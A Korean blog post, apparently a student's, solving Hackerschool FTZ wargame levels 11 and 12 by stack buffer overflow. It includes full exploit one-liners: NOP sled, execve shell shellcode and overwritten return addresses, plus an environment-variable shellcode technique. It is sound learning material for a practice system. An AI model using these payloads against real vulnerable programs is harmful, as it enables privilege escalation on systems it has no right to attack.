level11
한달만에 쓰는 글인것 같다..!(자료구조 짜증나ㅜㅜ) 앞으로는 학교에서 배운 내용도 블로그에 써봐야겠다.
오늘도 역시 hackerschool ftz를 풀어보자! level 20까지 달려야겠다..
오랜만에 켜서 까먹고 있다가 전에 내가 써둔 블로그 글 보고 다시 천천히 따라해보기..! 이래서 블로그를 쓰는건가?
암튼 putty 켜서 아이디랑 비밀번호 이전에 찾아둔거 입력하고~
파일에 뭐가 있나~ 살펴보면 볼만한게 일단 hint! hint 안을 뒤져보니 다음과 같은 소스코드가 있다.
attackme 를 이용해서 비밀번호를 구하는 것 같으니 이 소스코드는 attackme의 소스코드인 듯 하다.
str을 256바이트의 크기로 정했는데 입력값의 크기는 제한되지 않았다. 이것으로 버퍼오버플로우 문제인가? 라고 생각할 수 있다.
gdb를 이용해서 hint를 뒤져보려고 했으나 에러가 났다. 위의 ls에서 봤듯, 권한이 없어서 그런것으로 보인다.
그래서 tmp라는 파일에 이 파일을 level11라는 이름으로 복사를 해주었다. 확인해보니 권한이 있어서 gdb로 뒤져볼 수 있을 것 같다.
gdb를 이용해 뒤져주고! 디스어셈블을 해보니 main+41에서 주소를 옮기는 명령어가 일어나고, main+48에서 복사가 일어나는 것 같다.
lea 명령어는 찾아보니 주소값을 옮겨주는 명령어라고 한다. mov는 값을 옮겨주는 명령어라 차이가 있다고..!
암튼 마지막쪽에 8바이트는 쓰레기값으로 존재하고 있다.
스택 구조는
str[256]
dummy[8]
SFP[4]
RET[4]
이렇다고 볼 수 있다. SFP는 스택프레임을 거치고, 함수가 돌아가야할 위치를 저장해둔 포인터이다. 즉, 함수가 호출되기전의 스택의 흐름을 그대로 유지하기위한 레지스터 (?) 라고 한다.
쉘코드를 사용할 것인데, 쉘코드는 명령쉘을 시작해서 원하는 곳부터 공격이 일어날 수 있도록 돕는 코드라고 할 수 있다. 여기서는 25바이트 쉘코드를 이용할 예정이다. 그리고 앞에는 NOP를 의미하는 \x90으로 채울 것이다.
이 코드를 입력한 후 b* main+53을 입력하여 strcpy 명령어가 일어난 후인 위치에 break point를 건다.
r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
그래서 이런 코드를 입력해주고 x/100 $esp로 내부에 들어간 쉘코드를 확인해보면 0xbfffff5b0 부터 0x90909090이 시작된다.
여기를 리턴주소로 잡고 tmp/attackme를 실행해보자
그래서
./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xb0\xf5\xff\xbf"'`
이 코드를 gdb 를 나와서 입력해주면 segmentation fault가 나는데 이 주변에 코드를 노가다로 입력해주다보면 맨 아래처럼 sh-2.05b$ 로 명령어를 입력하는 부분이 바뀐다.
여기는 우리가 아까 복사한 파일이니까 저 코드 그대~로 실제 파일에 적용해보자
실행해보면 역시나 똑같이 명령어 입력부분이 바뀌고 my-pass로 명령어를 입력하면? 다음과 같이 비밀번호가 나온다!
level12
level12 시작! 방금 얻은 비밀번호로 로그인을 하고 나서, ls -al로 안에 뭐가있는지 찾아봤다.
보니 attackme파일을 이용해야 할 것 같고, hint 파일도 있따.
hint 파일 열어보니! 소스코드가 있다. level11이랑 비슷한듯 다른 모양인데 다른점이라 하면 문자열을 입력받는다는 거!
gdb로 attackme를 뜯어보자. main+49를 보면 ebp-264부터 입력을 받았다.
level11처럼
str[256]
dummy[8]
SFP[4]
RET[4]
이런 구조인 듯 하다.
환경 변수를 이용하여 풀어볼 것인데, tmp 폴더로 이동해서 export를 이용해서 원하는 동작을 사용자 임의로 등록할 수 있다. 여기에 우리는 쉘코드를 넣을 것이다. 위에서 넣었던 쉘코드를 python -c print를 이용해서 넣어준다.
그리고 환경변수에 등록된 쉘코드의 주소를 알아보기 위해서 int main() printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c 이렇게 간단한 c언어 코드를 만들었다.
gcc는 파일을 컴파일하겠다는 의미이고!
만든 c언어 코드를 실행해보니 쉘코드의 주소가 출력되었다. 이걸 바탕으로 문제를 해결할 수 있겠다!
이제 저 주소를 리턴주소로 잡고 bof를 한다. attackme 프로그램은 입력을 gets함수로 받으니까 이것이 아닌 다른 형태로 프로그램을 실행해야 한다.
(python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme 이렇게!
굵은 글씨 처리되어 있는 곳이 리턴주소라고 할 수 있다.
그러면 아까 힌트에서 봤던대로 문장을 입력하라는 문구가 뜨고 임의로 문자들을 입력해주면? 일반적인 명령어 입력창이 안뜨는데 여기에 my-pass를 입력하면! 비밀번호가 뜬다!
'HACKING > HACKERSCHOOL FTZ' 카테고리의 다른 글
hackerschool ftz level 15, 16 문제 풀이 (0) | 2021.05.12 |
---|---|
hackerschool ftz level 13, 14 문제 풀이 (0) | 2021.05.12 |
hackerschool FTZ LEVEL 9,10 문제 풀이! (0) | 2021.04.06 |
hackerschool FTZ LEVEL 7,8 문제 풀이! (0) | 2021.04.06 |
hackerschool FTZ LEVEL 5, 6 문제 풀이! (0) | 2021.04.06 |